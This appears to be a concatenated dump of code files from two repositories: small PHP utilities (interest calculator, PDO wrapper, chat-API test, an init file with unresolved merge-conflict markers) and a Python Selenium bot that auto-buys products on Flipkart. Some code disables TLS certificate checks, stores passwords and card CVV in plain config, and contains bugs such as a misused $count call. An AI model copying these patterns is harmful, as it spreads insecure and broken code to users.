InterestRate();\n$ir->init(300000, 18, 10000);\n$ir->calc_all();\n$ir->disp_log();\n\n\nclass InterestRate{\n\n\tpublic $ganpon;\t\t//元本\n\tpublic $rate;\t\t//金利\n\tpublic $monthly_back;\t//月あたり返済額\n\n\tprivate $now_ganpon;\t//現在の元本\n\tprivate $month_rate;\t//月の利率\n\n\tpublic $log;\t\t//支払いログ\n\n\t//各パラメータ設定\n\t//@ganpon:元本, @rate:年利(%), @mothly_back:毎月返済額\n\tpublic function init($ganpon, $rate, $monthly_back){\n\t\t$this->ganpon\t\t= $this->now_ganpon\t= $ganpon;\n\t\t$this->rate\t\t= $rate;\n\t\t$this->monthly_back\t= $monthly_back;\n\t\t$this->get_month_rate();\t//年率から月の利率を計算\n\t\t$this->log\t\t= array();\n\t\t//echo $this->monthly_back.\"\\n\";\n\t}\n\n\t//計算結果を出力\n\tpublic function calc_all(){\n\t\t$i = 1;\n\t\twhile( $this->now_ganpon > 0 ){\n\t\t\t$this->monthly_pay();\n\t\t}\n\t}\n\n\t//年率から月の利率を計算\n\tpublic function get_month_rate(){\n\t\t$this->month_rate = $this->rate / 100 / 365 * 30;\n\t\t//echo $this->month_rate;\n\t}\n\n\t//一月の支払い\n\tpublic function monthly_pay(){\n\t\t$bill = $this->now_ganpon * $this->month_rate;\t//現在の月の支払い額\n\t\t$this->now_ganpon = (($this->now_ganpon + $bill) - $this->monthly_back);\n\n\t\t//支払い記録を保存\n\t\t$this->save_log($bill,$this->now_ganpon,($this->monthly_back-$bill));\n\t}\n\n\t//支払い記録を保存\n\tpublic function save_log($bill,$now_ganpon,$back_ganpon){\n\t\t$log = array();\n\t\t$log[\"bill\"]\t\t= round($bill);\n\t\t$log[\"ganpon\"]\t\t= round($now_ganpon);\n\t\t$log[\"back_ganpon\"]\t= round($back_ganpon);\n\t\t$this->log[] = $log;\n\t}\n\n\n\t//ログを出力する\n\tpublic function disp_log(){\n\n\t\t$list = array(\"返済回数\",\"利息\",\"元本返済額\",\"元本残高\");\n\t\tforeach($list as $name){\n\t\t\techo $name.\"\\t\";\n\t\t}\n\t\techo \"\\n\";\n\n\t\t$i = 1;\t//返済回数\n\t\tforeach($this->log as $record){\n\t\t\techo $i;\n\t\t\techo \"\\t\\t\";\n\t\t\techo $record[\"bill\"];\n\t\t\techo \"\\t\";\n\t\t\techo $record[\"back_ganpon\"];\n\t\t\techo \"\\t\\t\";\n\t\t\techo $record[\"ganpon\"];\n\t\t\techo \"\\n\";\n\t\t\t$i++;\n\t\t}\n\t}\n}\n?>\n" }, { "alpha_fraction": 0.3776290714740753, "alphanum_fraction": 0.38264816999435425, "avg_line_length": 25.48101234436035, "blob_id": "c9ddddc6a2a5043c2c9797847f6bf0357360ca4a", "content_id": "2d2673bbf4ae56c646b49e7e783a64b317f13043", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 4556, "license_type": "no_license", "max_line_length": 76, "num_lines": 158, "path": "/dbClass2.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n//************************************************\n// データベース接続機能(PDO version)\n// ver 1.1.0\n//************************************************\n// http://php.net/manual/ja/class.pdo.php\n// 定数ファイル読み込み\nrequire_once(\"/home/doitsugoland/www/conf.php\");\n\n\nclass DBClass extends PDO{\n\n var $handle = DSN;\t\t//デフォルト\n//\tvar $handle = DSN_SHOP;\t//ec cube用テーブル\n var $dbh = null; //DBハンドラー\n\n //----------------------------------------------------------------------\n public function __construct(){\n\t\tparent::__construct($this->handle, DB_USER, DB_PASSWORD);\n }\n\n //----------------------------------------------------------------------\n /*\n\t//************************************************\n\t// dbアクセスをec cubeに切り替える\n\tpublic function init_shop(){\n\t\t$this->handle = DSN_SHOP;\n\t}\n */\n //************************************************\n // dbアクセスをマネジメントシステムに切り替える\n public function init_management(){\n $this->handle = DSN;\n }\n\n //----------------------------------------------------------------------\n\n //************************************************\n // sql文を実行 bind分追加\n // $sql : select * from `test_word` where ID = :ID\n // $bind: array(\":ID\"=>$id)\n function excute_sql_bind($sql,$bind){\n if( (strlen($sql) < 1) && $sql == \"\" )\n return false;\n\n try{\n $stmt = $this->prepare($sql);\n $res = $stmt->execute($bind);\n }catch (PDOException $e){\n print('Error:'.$e->getMessage());\n die();\n }\n $dbh = null;\n return $stmt->fetchAll();\n }\n\n //************************************************\n // sql文を実行\n function excute_sql($sql){\n\t\treturn $this->excute_sql_bind($sql,array());\n }\n\n //************************************************\n // insert prepareを使用したもの\n // SQLインジェクションのためこちらを推奨\n function insertP($table,$query){\n\n $sql1 = 'INSERT INTO '.$table.' (';\n $sql2 = ') VALUES( ';\n $sql3 = ')';\n\n $size = sizeof($query);\n $key_sum = $val_sum = \"\";\n foreach($query as $key=>$val){\n\n $arr_vals[] = $val;\n $key = '`'.$key.'`';\n\n if($size>1){\n $key_sum = $key_sum.$key.\", \";\n $val_sum = $val_sum.$this->quote($val).\", \";\n $size--;\n }else{\n $key_sum = $key_sum.$key.\" \";\n $val_sum = $val_sum.$this->quote($val).\" \";\n }\n }\n $sql = $sql1.$key_sum.$sql2.$val_sum.$sql3;\n\t\treturn $this->excute_sql_bind($sql,$arr_vals);\n }\n\n //************************************************\n // insert prepareを使用したもの\n function updateP($table,$query,$where = ''){\n\n $sql1 = 'UPDATE '.$table.' SET ';\n\t\t$sql2 = \"\";\n\t\t$size = $count($query);\n\t\tforeach($query as $key=>$val){\n\t\t\t$sql2 .= \" \".$key.\" = \".$key.\" \";\n\t\t\tif($size > 1)\n\t\t\t\t$sql2 .= \", \";\n\t\t\t$size--;\n\t\t}\n\n\t\t$sql = $sql1.$sql2.\" \".$where;\n\n\t\t$arr_vals = array();\n\t\tforeach($query as $key=>$val){\n\t\t\t$arr_vals[$key] = $this->quote($val);\n\t\t}\n\n\t\treturn $this->excute_sql_bind($sql,$arr_vals);\n\t}\n\n //************************************************\n // クエリの結果を配列にして返す\n function get_result_arr($arr){\n\n $all_list = array();\n foreach($arr as $feed){\n foreach ($feed as $key=>$row) {\n $new_list = array();\n $new_list['$key'] = $row;\n }\n $all_list[] = $new_list;\n }\n return $all_list;\n }\n\n //************************************************\n //データベースから取得した日本単語をUTF形式へなおす\n\n function toUTF($word){\n return mb_convert_encoding($word,'UTF-8','EUC-JP');\n }\n\n //************************************************\n //UTF形式をデータベースのEUC形式へなおす\n\n function toEUC($word){\n return mb_convert_encoding($word,'EUC-JP','UTF-8');\n }\n\n //************************************************\n //日時を取得\n function get_nowDate(){\n return date(\"Y-m-d H:i:s\");\n }\n\n //************************************************\n //HTML特殊文字のエンコード DBからの参照時に使用\n function h($str) {\n return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');\n }\n\n}\n?>\n" }, { "alpha_fraction": 0.6824034452438354, "alphanum_fraction": 0.6942059993743896, "avg_line_length": 25.628570556640625, "blob_id": "c2e0f14d817c8d5406d204fc008850fa9158cc16", "content_id": "045c199640960250886ced0e9e88ed2862a3c975", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 932, "license_type": "no_license", "max_line_length": 65, "num_lines": 35, "path": "/api_test.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n//\thttp://qiita.com/re-24/items/bfdd533e5dacecd21a7a\n//\thttp://docs.cyrano.apiary.io/#reference/0/messages-sent-by-bot\n//\thttp://developer.chatwork.com/ja/endpoints.html\n\n$base_url = '[email protected]';\n$data = [\n\n];\n\n$header = [\n 'Authorization: Bearer '.$token,\t\n\t'Content-Type: application/json',\n];\n\n$curl = curl_init();\ncurl_setopt($curl, CURLOPT_URL, $base_url);\ncurl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'POST');\ncurl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data);\ncurl_setopt($curl, CURLOPT_HTTPHEADER, $header);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\ncurl_setopt($curl, CURLOPT_HEADER, true);\n\n$response = curl_exec($curl);\n\n$header_size\t= curl_getinfo($curl, CURLINFO_HEADER_SIZE);\n$header\t\t\t= substr($response, 0, $header_size);\n$body\t\t\t= substr($response, $header_size);\n$result\t\t\t= json_decode($body, true);\n\ncurl_close($curl);\n\nprint_r($result);\n?>\n" }, { "alpha_fraction": 0.4399999976158142, "alphanum_fraction": 0.4968421161174774, "avg_line_length": 15.379310607910156, "blob_id": "9f62fb073c558ed8cb8c62f48768949c0959b269", "content_id": "4f34030e60b25abe6b1892fd3d2a193034c1572c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 950, "license_type": "no_license", "max_line_length": 59, "num_lines": 58, "path": "/calc_app.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n/*\n//---------------------------------------------------------\nget_yen\nyen * 1.3 = all_yen\nall_yen / 500 = buy_user\nbuy_user / 5 * 100 = active_user\n\n\ncondition:\n70% get benefit\n5% buy_user\n//---------------------------------------------------------\n*/\n\n\n//$get_yen = 300000;\n//$get_yen = 400000;\n$get_yen = 500000;\n\n$dat = calc_dat($get_yen);\nforeach($dat as $key => $value){\n\tprint $key. \"\\t : \". $value. \"\\n\";\n}\n\n\nfunction calc_dat($get_yen){\n\t$all_yen = $get_yen * 1.3;\n\t$buy_user = $all_yen / 500;\n\t$active_user = ($buy_user / 5) * 100;\n\n\t$dat[\"get_yen \"] = $get_yen;\n\t$dat[\"all_yen \"] = $all_yen; \n\t$dat[\"buy_user\"] = $buy_user;\n\t$dat[\"active_user\"] = $active_user;\n\n\treturn $dat;\n}\n\n\n/*\n$get_yen = 300000;\n$all_yen = $get_yen * 1.3;\n$buy_user = $all_yen / 500;\n$active_user = ($buy_user / 5) * 100;\n\n$end = \"\\n\";\nprint $get_yen;\nprint $end;\nprint $all_yen;\nprint $end;\nprint $buy_user;\nprint $end;\nprint $active_user;\nprint $end;\n*/\n\n?>\n" }, { "alpha_fraction": 0.4140625, "alphanum_fraction": 0.41796875, "avg_line_length": 11.800000190734863, "blob_id": "0197011513f71f6e6724a4846caef64013f62430", "content_id": "46d8008d186d119419ae8ca3782bf6c85af241e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 276, "license_type": "no_license", "max_line_length": 38, "num_lines": 20, "path": "/mailform.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n//-----------------------------------\n// Mail form functions\n//\n//\n\n\nClass MailForm{\n\n\n //文字列の空チェック 空:true\n public function check_empty($str){\n if(strlen($str) > 0 ){\n return false;\n }\n return true;\n }\n\n}\n?>\n" }, { "alpha_fraction": 0.6235954761505127, "alphanum_fraction": 0.6235954761505127, "avg_line_length": 16.799999237060547, "blob_id": "8098de87e1a1284619b264cf541901fac26526af", "content_id": "55e34d10d9bfd4a2153534f271d9c06f35540039", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 178, "license_type": "no_license", "max_line_length": 61, "num_lines": 10, "path": "/d_url_encode.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n//url encode\n\n$front_tag = 'aaa=';\n$url = 'http://php.net/manual/ja/function.urlencode.php#top';\n$e_url = urlencode($url);\n$sum_url = $front_tag.$e_url;\n\necho $sum_url;\n?>\n" }, { "alpha_fraction": 0.41474655270576477, "alphanum_fraction": 0.44792625308036804, "avg_line_length": 29.148147583007812, "blob_id": "6850ed712c4f3da83b1c39bc091825308ea30f40", "content_id": "f78329547cf6d435054c904d519228837403aad9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 4045, "license_type": "no_license", "max_line_length": 102, "num_lines": 108, "path": "/first_init.php", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "<?php\n/**************************************************/\n// 初期の動作\n/**************************************************/\n<<<<<<< HEAD\n\n// 定数の読み込み\nrequire_once(\"/home/doitsugoland/www/conf.php\");\nrequire_once(__FUNC__.\"db.php\");\n\n//緊急メンテナンス用処理---------------------------------------------------------------------------\n\n// 緊急メンテナンス時はtrueへ、\n$MaintenanceFlag = false;\n\n\n// 「只今、メンテナンス中です」エラーページを表示処理\n// header(\"Location: \".DOMAIN.\"page/error.php?error=98\");\n// exit();\n\n\n//ユーザーエージェントによる振り分け---------------------------------------------------------------\n\n// ユーザエージェント取得\n$useragent = $_SERVER['HTTP_USER_AGENT'];\n\n=======\n// 定数の読み込み\nrequire_once(\"/home/doitsugoland/www/conf.php\");\nrequire_once(__FUNC__.\"db.php\");\n//緊急メンテナンス用処理---------------------------------------------------------------------------\n// 緊急メンテナンス時はtrueへ、\n$MaintenanceFlag = false;\n// 「只今、メンテナンス中です」エラーページを表示処理\n// header(\"Location: \".DOMAIN.\"page/error.php?error=98\");\n// exit();\n//ユーザーエージェントによる振り分け---------------------------------------------------------------\n// ユーザエージェント取得\n$useragent = $_SERVER['HTTP_USER_AGENT'];\n>>>>>>> 00ed09cf1735367bd5ff5c2a8372957a2c379c1c\n//iPhone\nif( preg_match(\"/iPhone/\", $useragent) ) {\n $agentchk = \"OK\";\n // iPad\n} else if ( preg_match(\"/iPad/\", $useragent) ) {\n $agentchk = \"OK\";\n // Androidスマホ\n} else if ( preg_match(\"/Android.*Mobile/\", $useragent) ) {\n $agentchk = \"OK\";\n // Androidタブレット\n} else if ( preg_match(\"/(?!(Android.*Mobile)+)Android/\", $useragent) ) {\n $agentchk = \"OK\";\n // その他\n} else {\n // パソコンはパソコントップページ(page/pc_top.php)へリダイレクト\n// $agentchk = \"PC\";\n $agentchk = \"OK\";\n // パソコントップページへリダイレクト処理(開発時はオフにしておく)\n// header('Location:'.DOMAIN.\"page/pc_top.php\");\n}\n<<<<<<< HEAD\n\n//セッション管理---------------------------------------------------------------------------------\n\nsession_start();\n//セッション持続時間設定10年設定\nsession_set_cookie_params( 10 * 365 * 24 * 60 * 60 );\n\n=======\n//セッション管理---------------------------------------------------------------------------------\n//セッション持続時間設定10年設定\nsession_set_cookie_params( 10 * 365 * 24 * 60 * 60 );\nsession_start();\n>>>>>>> 00ed09cf1735367bd5ff5c2a8372957a2c379c1c\n\n//セッションの内容を取得\n$is_login = $is_loign_free = $member_id = null;\nif( (isset($_SESSION['LOGIN']) || isset($_SESSION['LOGIN_FREE']) ) && isset($_SESSION['MEMBER_ID']) ){\n $is_login = $_SESSION['LOGIN']; //有料会員\n $is_login_free = $_SESSION['LOGIN_FREE']; //無料会員\n $is_member_id = $_SESSION['MEMBER_ID']; //メンバーID\n}\n<<<<<<< HEAD\n\n//ログイン中判定\nif(($is_login || $is_login_free) && ( isset($is_member_id) && ($is_member_id != \"\") )){\n //会員情報読み込み $member_infoに格納\n\n //退会してないかチェック、退会ならトップへリダイレクト\n\n}\n\n//*****************************************************************************//\n// 関数定義\n//*****************************************************************************//\n\n\n=======\n//ログイン中判定\nif(($is_login || $is_login_free) && ( isset($is_member_id) && ($is_member_id != \"\") )){\n //会員情報読み込み $member_infoに格納\n //退会してないかチェック、退会ならトップへリダイレクト\n}\n//*****************************************************************************//\n// 関数定義\n//*****************************************************************************//\n>>>>>>> 00ed09cf1735367bd5ff5c2a8372957a2c379c1c\n?>" }, { "alpha_fraction": 0.47636815905570984, "alphanum_fraction": 0.48507463932037354, "avg_line_length": 20.13157844543457, "blob_id": "d150e1f912858386b5d910d3e37389c6036086db", "content_id": "be35e2f45e6305298fb246478e5b4041d613b494", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 804, "license_type": "no_license", "max_line_length": 56, "num_lines": 38, "path": "/rw_file.py", "repo_name": "parrot88/myLib", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# ver.1.0.1\n#\n#---------------------------------------\n\nimport codecs,urllib\n\nclass rw_file:\n\n def __init__(self):\n pass\n\n def get_page(self,path):\n import chardet\n data = ''.join(urllib.urlopen(path).readlines())\n guess = chardet.detect(data)\n txt = data.decode(guess['encoding'])\n return txt\n\n def read(self,path,code=\"utf-8\"):\n f = codecs.open(path,\"r\",code)\n str = \"\"\n for row in f:\n str += row\n f.close()\n return str\n\n def write(self,path,str,code=\"utf-8\"):\n f = codecs.open(path,\"w\",code)\n f.write(str)\n f.close()\n\nif __name__ == \"__main__\":\n pass\n rw = rw_file()\n str = rw.read(\"dat/file.txt\")\n rw.write(\"dat/file2.txt\",str)\n print str\n\n" } ]
13
amitsaxena098/DTFlipkartAutobuy
https://github.com/amitsaxena098/DTFlipkartAutobuy
394adb9a14dc5a795daaca526a327f89c0fd46f2
e9e6926cafe528f7cf44935b60b4727ca0ce0acd
725553779818e552540ad59919661862678a2360
refs/heads/master
2023-01-23T19:29:25.364609
2020-11-27T17:44:41
2020-11-27T17:44:41
316,560,166
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6791045069694519, "alphanum_fraction": 0.746268630027771, "avg_line_length": 25.600000381469727, "blob_id": "aac59741be931647ea82e25041bc8c98f537cfde", "content_id": "d188b0ec1bc64e4af71cc9647cdf2e4fc9cb8574", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 134, "license_type": "no_license", "max_line_length": 66, "num_lines": 5, "path": "/README.md", "repo_name": "amitsaxena098/DTFlipkartAutobuy", "src_encoding": "UTF-8", "text": "\n\nPlease follow the below links to understand how to use the script.\n\n1. https://youtu.be/qepwAP772sA\n\n2. https://youtu.be/a32_E-g1BB4" }, { "alpha_fraction": 0.7354260087013245, "alphanum_fraction": 0.7488788962364197, "avg_line_length": 22.068965911865234, "blob_id": "42a32d8ac51576fe3edd20119739ff61e5ffadda", "content_id": "ff5e63ed04df05ddb56efc0c8145a9cf46cf41ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 669, "license_type": "no_license", "max_line_length": 105, "num_lines": 29, "path": "/config.ini", "repo_name": "amitsaxena098/DTFlipkartAutobuy", "src_encoding": "UTF-8", "text": "\n[MAIN]\nDRIVER_LOCATION = C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver.exe\n\n[CREDENTIALS]\nUSERNAME = \nPASSWORD = \n\n[ORDER]\nLINK = \nCVV = \nQUANTITY = \nADDRESS = \nPAYMENT = \nMULTIPLE_ADDRESSES_SAVED = \n#Set above option to 1 when you have multiple addresses saved in ur profile, set 0 when only ONE is saved\n\nVOUCHER_NUMBER = \nVOUCHER_PIN = \n\n#voucher number and pin are used for giftcard payment option, keep it 1234 when not using gc payment mode\n#Payment modes: COD/PHONEPE/Card ID number/GC\n#Adrress : Address ID\n\n[EMIOPTIONS]\nBANK = HDFC Bank Credit Card\nTENURE = 6\n\n\n#NOTE: DO NOT KEEP ANYTHING BLANK. PUT RANDOM VALUES WHEN NOT USING ANY VARIABLE." }, { "alpha_fraction": 0.49957039952278137, "alphanum_fraction": 0.5115379691123962, "avg_line_length": 36.10478210449219, "blob_id": "d8a5a5de1dd09316cdfeab368f655c2514f1750d", "content_id": "0701435cbdca603e762a86d89bf58eea10bea7a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17052, "license_type": "no_license", "max_line_length": 124, "num_lines": 439, "path": "/Flipkart_Autobuy.py", "repo_name": "amitsaxena098/DTFlipkartAutobuy", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\nimport winsound\nfrom configparser import RawConfigParser\nfrom colorama import Fore, init, deinit\n\ninit()\noptions = webdriver.ChromeOptions()\noptions.add_argument(\"--incognito\")\noptions.add_argument('--ignore-certificate-errors')\noptions.add_argument('--ignore-ssl-errors')\nCONFIG = RawConfigParser()\nCONFIG.read('config.ini')\n\ndriver_path = CONFIG.get('MAIN', 'DRIVER_LOCATION') #\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver.exe\"\nemail_inp = CONFIG.get('CREDENTIALS', 'USERNAME')\npass_inp = CONFIG.get('CREDENTIALS', 'PASSWORD')\norder_link = CONFIG.get('ORDER', 'LINK')\ncvv_inp = CONFIG.get('ORDER', 'CVV')\nquantity = CONFIG.get('ORDER','QUANTITY') \naddr_input = CONFIG.get('ORDER', 'ADDRESS') #CNTCT1EA51B7A7EFC475992EE32A22\npay_opt_input = CONFIG.get('ORDER', 'PAYMENT') #CRD170926122609387B1E5519C47D302\nbankname_input = CONFIG.get('EMIOPTIONS', 'BANK')\ntenure_input = CONFIG.get('EMIOPTIONS', 'TENURE')\nvou_number = CONFIG.get('ORDER', 'VOUCHER_NUMBER')\nvou_pin = CONFIG.get('ORDER', 'VOUCHER_PIN')\naddr_1 = int(CONFIG.get('ORDER', 'MULTIPLE_ADDRESSES_SAVED'))\nfrequency = 2500\nduration = 2000\nflag = 0\ncount_click = 0\ndef prCyan(skk):\n print(Fore.CYAN + skk)\ndef prRed(skk):\n print(Fore.RED + skk)\ndef prGreen(skk):\n print(Fore.GREEN + skk)\ndef prYellow(skk):\n print(Fore.YELLOW + skk)\n#print(order_link)\n\nprGreen(\" _____ _______ _ _ _______ \")\nprGreen(\" | __ \\ |__ __| (_) | | |__ __| \")\nprGreen(\" | | | | | |_ __ _ ___| | _____| | ___ _ __ ___ \")\nprGreen(\" | | | | | | '__| |/ __| |/ / __| |/ _ \\ '__/ __| \")\nprGreen(\" | |__| | | | | | | (__| <\\__ \\ | __/ | \\__ \\ \")\nprGreen(\" |_____/ |_|_| |_|\\___|_|\\_\\___/_|\\___|_| |___/ \")\nprGreen(\" \")\nprGreen(\" \")\ntime.sleep(1.5)\nprRed(\"\\n\\n\")\nprRed(\" ███████ ▄█▀ ▄▄▄ █ ██▄▄▄█████▓▒█████ ▄▄▄▄ █ █▓██ ██▓\")\ntime.sleep(0.2)\nprRed(\"▓██ ▒██▄█▒ ▒████▄ ██ ▓██▓ ██▒ ▓▒██▒ ██▓█████▄ ██ ▓██▒██ ██▒\")\ntime.sleep(0.2)\nprRed(\"▒████ ▓███▄░ ▒██ ▀█▄ ▓██ ▒██▒ ▓██░ ▒▒██░ ██▒██▒ ▄█▓██ ▒██░▒██ ██░\")\ntime.sleep(0.2)\nprRed(\"░▓█▒ ▓██ █▄ ░██▄▄▄▄██▓▓█ ░██░ ▓██▓ ░▒██ ██▒██░█▀ ▓▓█ ░██░░ ▐██▓░\")\ntime.sleep(0.2)\nprRed(\"░▒█░ ▒██▒ █▄ ▓█ ▓██▒▒█████▓ ▒██▒ ░░ ████▓▒░▓█ ▀█▒▒█████▓ ░ ██▒▓░\")\ntime.sleep(0.2)\nprRed(\" ▒ ░ ▒ ▒▒ ▓▒ ▒▒ ▓▒█░▒▓▒ ▒ ▒ ▒ ░░ ░ ▒░▒░▒░░▒▓███▀░▒▓▒ ▒ ▒ ██▒▒▒ \")\ntime.sleep(0.2)\nprRed(\" ░ ░ ░▒ ▒░ ▒ ▒▒ ░░▒░ ░ ░ ░ ░ ▒ ▒░▒░▒ ░░░▒░ ░ ░▓██ ░▒░ \")\ntime.sleep(0.2)\nprRed(\" ░ ░ ░ ░░ ░ ░ ▒ ░░░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░░░ ░ ░▒ ▒ ░░ \")\ntime.sleep(0.2)\nprRed(\" ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ \")\ntime.sleep(0.2)\nprRed(\" ░ ░ ░ \")\n\nurl = order_link\n\nprRed(\"Opening Link in chrome..........\")\nprCyan(\"\\n\")\n\nprint('\\nLogging in with username:',email_inp)\nprYellow(\"\\n\")\nif pay_opt_input == 'EMI_OPTIONS':\n print('\\nEMI Option Selected. \\nBANK:',bankname_input,'\\nTENURE:',tenure_input,'\\n')\nelif pay_opt_input == 'PHONEPE':\n print('\\nPayment with Phonepe\\n')\nelif pay_opt_input == 'NET_OPTIONS':\n print('\\nNet Banking Payment Selected\\n')\nelif pay_opt_input == 'COD':\n prGreen(\"COD selected\\n\")\nelif pay_opt_input == 'GC':\n prGreen(\"GiftCard Payment Selected\")\nelse:\n print('\\nFull Payment Selected\\n')\n \n\ndriver = webdriver.Chrome(driver_path, options=options)\ndriver.maximize_window()\ndriver.get(url)\n\nprCyan(\"\\n\")\n\ninput('Confirm Payment Details above, Product Details on Browser & Press Enter to proceed.')\n\ndef login():\n try:\n prYellow(\"Logging In..\\n\")\n try:\n login = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.CSS_SELECTOR, \"._34niwY\"))\n )\n prYellow('Login Button Clickable\\n')\n except:\n prYellow('Login Button Not Clickable\\n')\n login.click()\n prYellow('Login Button Clicked Successfully\\n')\n except:\n prRed('login Failed. Retrying.')\n time.sleep(0.5) \n login()\n \ndef login_submit():\n try:\n if 'Enter Password' in driver.page_source:\n print('Trying Usual method of Login.')\n email = driver.find_element_by_css_selector(\".Km0IJL ._2zrpKA\")\n passd = driver.find_element_by_css_selector(\".Km0IJL ._3v41xv\")\n email.clear()\n passd.clear()\n email.send_keys(email_inp)\n passd.send_keys(pass_inp)\n try:\n form = WebDriverWait(driver, 20).until(\n EC.element_to_be_clickable((By.CSS_SELECTOR, \".Km0IJL ._7UHT_c\"))\n )\n prCyan('Submit Button Clickable')\n except:\n prRed('Submit Button Not Clickable')\n form.click()\n prYellow(\"\\nPress any key when login is done and your name appeares in menu bar.\")\n input()\n prGreen(\"\\nLogged in successully.\")\n prRed('\\n')\n #input(\"Click Login on page and then enter here\")\n# else:\n# print('Trying Alternate method of Login.')\n# email = driver.find_element_by_css_selector(\"._2zrpKA\")\n# email.clear()\n# email.send_keys(email_inp)\n# loginnext = WebDriverWait(driver, 5).until(\n# EC.element_to_be_clickable((By.CSS_SELECTOR, \"._1LctnI\"))\n# )\n# loginnext.click()\n# loginpassword = WebDriverWait(driver, 5).until(\n# EC.element_to_be_clickable((By.CSS_SELECTOR, \".jUwFiZ\"))\n# )\n# loginpassword.click()\n# time.sleep(0.5)\n# passd = driver.find_elements_by_css_selector(\"._2zrpKA\")[1]\n# passd.clear()\n# passd.send_keys(pass_inp)\n# form = WebDriverWait(driver, 20).until(\n# EC.element_to_be_clickable((By.CSS_SELECTOR, \"._1LctnI\"))\n# )\n# form.click()\n# print(\"Logged In Successfully\")\n except:\n if ('Login &amp; Signup' not in driver.page_source and 'Login & Signup' not in driver.page_source):\n print('Logged in Manually.')\n else:\n prRed('login_submit Failed. Please login manually.')\n time.sleep(1)\n login_submit()\n\ndef buy_check():\n global count_click\n try:\n nobuyoption = True\n while nobuyoption:\n try:\n driver.refresh()\n time.sleep(0.2)\n buyprod = driver.find_element_by_css_selector(\"._1k1QCg ._7UHT_c\")\n if buyprod.is_enabled():\n prYellow('Buy Button Clickable')\n buyprod.click()\n nobuyoption = False\n else:\n nobuyoption = True\n count_click += 1\n print('Buy button is disabled. Retrying ' + str(count_click), end='\\r')\n except:\n nobuyoption = True\n count_click += 1\n print('Buy Button Not Active. Retrying ' + str(count_click), end='\\r')\n prYellow('Buy Button Clicked Successfully')\n buy_recheck()\n except:\n prRed('buy_check Failed. Retrying.')\n time.sleep(0.5) \n buy_check()\n \ndef buy_recheck(): \n try:\n WebDriverWait(driver, 10).until(\n EC.title_contains(\"Secure Payment\")\n ) \n prYellow('Redirected to Payment')\n except:\n prRed('Error in Redirecting to Payment')\n time.sleep(0.5) \n buy_check()\n \ndef deliver_option():\n try:\n addr_input_final = \"//label[@for='\"+addr_input+\"']\"\n try:\n sel_addr = WebDriverWait(driver, 5).until(\n EC.presence_of_element_located((By.XPATH,addr_input_final))\n )\n prYellow('Address Selection Button Clickable')\n except:\n prRed('Address Selection Button Not Clickable') \n sel_addr.click()\n prYellow('Address Selection Button Clicked Successfully')\n except:\n prRed('deliver_option Failed. Retrying.')\n #time.sleep(0.5) \n deliver_option()\n \ndef deliver_continue():\n try:\n addr_sal_avl = True\n while addr_sal_avl:\n try:\n address_sel = WebDriverWait(driver, 5).until(\n EC.element_to_be_clickable((By.CSS_SELECTOR, \"._3K1hJZ ._7UHT_c\"))\n )\n address_sel.click()\n addr_sal_avl = False\n print('Address Delivery Button Clickable')\n except:\n addr_sal_avl = True\n winsound.Beep(frequency, duration)\n print('Address Delivery Button Not Clickable')\n flag = 0\n print('Address Delivery Button Clicked Successfully')\n except:\n print('deliver_continue Failed. Retrying.')\n #time.sleep(0.5) \n deliver_continue()\n \ndef order_summary_continue():\n global flag\n try:\n #if( flag == 0):\n # try:\n # flag = 1\n # txt_quantity = driver.find_element_by_css_selector(\"._2csFM9\")\n # txt_quantity.clear()\n # txt_quantity.send_keys(quantity)\n #print(\"Quantity updated\")\n #prGreen(\"Quantity updated\\n\")\n # except:\n # prRed(\"Sorry... Quantity is limited by flipkart. Setting value to one again\\n\")\n press_continue = driver.find_element_by_css_selector(\"._2Q4i61\")\n #press_continue = WebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.CSS_SELECTOR, \"._2Q4i61 ._7UHT_c\")))\n press_continue.click()\n #input(\"Press key\")\n prYellow('Continue Button Clicked Successfully')\n except:\n #input(\"press key\")\n prRed('order_summary_continue Failed. Retrying.')\n #time.sleep(0.2) \n order_summary_continue()\n \ndef choose_payment():\n try:\n if pay_opt_input == 'GC':\n pay_opt_input_final = \"//label[@for='EGV']\"\n else:\n pay_opt_input_final = \"//label[@for='\"+pay_opt_input+\"']\"\n pay_method_sel = WebDriverWait(driver, 5).until(\n EC.element_to_be_clickable((By.XPATH, pay_opt_input_final)) )\n pay_method_sel.click()\n if pay_opt_input == 'COD':\n winsound.Beep(frequency, duration)\n cod_captcha()\n elif pay_opt_input == 'PHONEPE':\n phonepe()\n elif pay_opt_input == 'GC':\n gc()\n 